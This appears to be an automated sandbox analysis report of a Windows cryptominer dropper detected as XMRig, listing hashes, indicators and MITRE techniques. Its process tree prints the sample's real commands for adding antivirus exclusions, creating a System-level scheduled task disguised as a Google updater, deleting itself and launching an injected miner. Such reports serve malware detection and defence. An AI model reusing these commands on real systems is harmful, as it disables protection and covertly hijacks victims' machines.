xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
438s
max time network
1796s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2820 created 1348	2820	6vHkJ4UErTSS5ECD.exe	7
PID 2820 created 1348	2820	6vHkJ4UErTSS5ECD.exe	7
PID 2820 created 1348	2820	6vHkJ4UErTSS5ECD.exe	7
PID 2820 created 1348	2820	6vHkJ4UErTSS5ECD.exe	7
PID 2988 created 1348	2988	updater.exe	7
PID 2988 created 1348	2988	updater.exe	7
PID 2988 created 1348	2988	updater.exe	7
PID 2988 created 1348	2988	updater.exe	7
PID 2752 created 1348	2752	conhost.exe	7
PID 2988 created 1348	2988	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral5/memory/2220-65-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2220-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2740	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2988	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2524	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/2220-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2220-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2988 set thread context of 2752	2988	updater.exe	47
PID 2988 set thread context of 2220	2988	updater.exe	52

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2716	schtasks.exe
948	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2792	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90241398e150da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2820	6vHkJ4UErTSS5ECD.exe
2820	6vHkJ4UErTSS5ECD.exe
2204	powershell.exe
2820	6vHkJ4UErTSS5ECD.exe
2820	6vHkJ4UErTSS5ECD.exe
2724	powershell.exe
2820	6vHkJ4UErTSS5ECD.exe
2820	6vHkJ4UErTSS5ECD.exe
2820	6vHkJ4UErTSS5ECD.exe
2820	6vHkJ4UErTSS5ECD.exe
2560	powershell.exe
2988	updater.exe
2988	updater.exe
1932	powershell.exe
2988	updater.exe
2988	updater.exe
1896	powershell.exe
2988	updater.exe
2988	updater.exe
2988	updater.exe
2988	updater.exe
2752	conhost.exe
2752	conhost.exe
2988	updater.exe
2988	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	2988	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2792	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2792	WMIC.exe
Token: SeSecurityPrivilege	2792	WMIC.exe
Token: SeTakeOwnershipPrivilege	2792	WMIC.exe
Token: SeLoadDriverPrivilege	2792	WMIC.exe
Token: SeSystemtimePrivilege	2792	WMIC.exe
Token: SeBackupPrivilege	2792	WMIC.exe
Token: SeRestorePrivilege	2792	WMIC.exe
Token: SeShutdownPrivilege	2792	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2792	WMIC.exe
Token: SeUndockPrivilege	2792	WMIC.exe
Token: SeManageVolumePrivilege	2792	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2792	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2792	WMIC.exe
Token: SeSecurityPrivilege	2792	WMIC.exe
Token: SeTakeOwnershipPrivilege	2792	WMIC.exe
Token: SeLoadDriverPrivilege	2792	WMIC.exe
Token: SeSystemtimePrivilege	2792	WMIC.exe
Token: SeBackupPrivilege	2792	WMIC.exe
Token: SeRestorePrivilege	2792	WMIC.exe
Token: SeShutdownPrivilege	2792	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2792	WMIC.exe
Token: SeUndockPrivilege	2792	WMIC.exe
Token: SeManageVolumePrivilege	2792	WMIC.exe
Token: SeLockMemoryPrivilege	2220	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 2716	2724	powershell.exe	32
PID 2724 wrote to memory of 2716	2724	powershell.exe	32
PID 2724 wrote to memory of 2716	2724	powershell.exe	32
PID 2740 wrote to memory of 2580	2740	cmd.exe	34
PID 2740 wrote to memory of 2580	2740	cmd.exe	34
PID 2740 wrote to memory of 2580	2740	cmd.exe	34
PID 2560 wrote to memory of 2476	2560	powershell.exe	39
PID 2560 wrote to memory of 2476	2560	powershell.exe	39
PID 2560 wrote to memory of 2476	2560	powershell.exe	39
PID 2524 wrote to memory of 2988	2524	taskeng.exe	40
PID 2524 wrote to memory of 2988	2524	taskeng.exe	40
PID 2524 wrote to memory of 2988	2524	taskeng.exe	40
PID 1896 wrote to memory of 948	1896	powershell.exe	53
PID 1896 wrote to memory of 948	1896	powershell.exe	53
PID 1896 wrote to memory of 948	1896	powershell.exe	53
PID 2988 wrote to memory of 2752	2988	updater.exe	47
PID 2812 wrote to memory of 2792	2812	cmd.exe	49
PID 2812 wrote to memory of 2792	2812	cmd.exe	49
PID 2812 wrote to memory of 2792	2812	cmd.exe	49
PID 2988 wrote to memory of 2220	2988	updater.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1348
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2716
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:948
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2792
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1216
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2752
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2220

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2580

C:\Windows\system32\taskeng.exe
taskeng.exe {2A671751-53C3-46B3-874A-80960EDE4D36} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
687KB

MD5
c18e4646523729498c9488fc468df9b4

SHA1
7d8e57cb485a1e9e92f5fa89aff1c53940e50e58

SHA256
03408f92a4b3b6ffe99261d2d8d7289510d8921d84d90750c7a950ed3f69e600

SHA512
821ecf2f0fadd8172485093af4b9d0b17cb806c31062d4bd9dc7eea896f3d197c9c89a63406d8e52fc0dbda30ba5aa706a1018f48b83855d2f6c57f8aa3f3743

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
386KB

MD5
d002e434bd1dea2208c98815cda50537

SHA1
4d2426c214cd10d91fbc32ff15ffbc380f20c2d7

SHA256
dd420c4dee42881f4a18e6dc2e8ee4c2d10c440a0fb53bf6e76aa82781d9d9ec

SHA512
2ec1237fa758072a6e9f1f273b50a7534b006574a742bcc576bb8b6b7d704465d2453dfeda2f9d76c5bc3a045c2102f14658bf448c7a7975f3faed3ae460d741

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ba7924989391a9e89b8828d6992c331a

SHA1
4081f2773103204ec96e58aa7867f170ac3f5160

SHA256
e26fa6162f863969d9f6259c7b216357e66bf4a63d583217ec614b38cc9aaae7

SHA512
382f05dcacc3056b0915d8f754823f91c1df904759aee8ffa9521de3f9ea94194bb77e173908906005e21bd5717e9f6edbd7c281656af62ef95c86a9db105a02

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
944KB

MD5
ea12416ee33350f04e77f5953f178b06

SHA1
cf47b8843e8cba7978919056357bd4878281345e

SHA256
ac669d5ff2f91df5efdbc278db11b13fefa6c81d069e3585612f0e11ae1686a0

SHA512
8719561d5c3983f471b549ffed674e0c77ec78e0bb35cce3d6383f83b71b9867a2db54ff4d196700985b3addc4f18787c4bd6064afeeb85fb20f555d3ddb04a8

Download Submit
memory/1896-52-0x0000000001480000-0x0000000001500000-memory.dmp

Filesize
512KB

Download
memory/1896-56-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/1896-54-0x0000000001480000-0x0000000001500000-memory.dmp

Filesize
512KB

Download
memory/1896-55-0x0000000001480000-0x0000000001500000-memory.dmp

Filesize
512KB

Download
memory/1896-53-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/1896-51-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/1932-46-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1932-49-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1932-44-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1932-45-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1932-50-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1932-47-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1932-48-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/2204-13-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2204-6-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

Filesize
32KB

Download
memory/2204-12-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2204-11-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2204-9-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-7-0x000007FEF5FC0000-0x000007FEF695D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-8-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2204-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2220-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-74-0x0000000000F60000-0x0000000000F80000-memory.dmp

Filesize
128KB

Download
memory/2220-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-64-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2220-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-66-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2220-67-0x0000000000F60000-0x0000000000F80000-memory.dmp

Filesize
128KB

Download
memory/2220-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-73-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2220-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2220-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
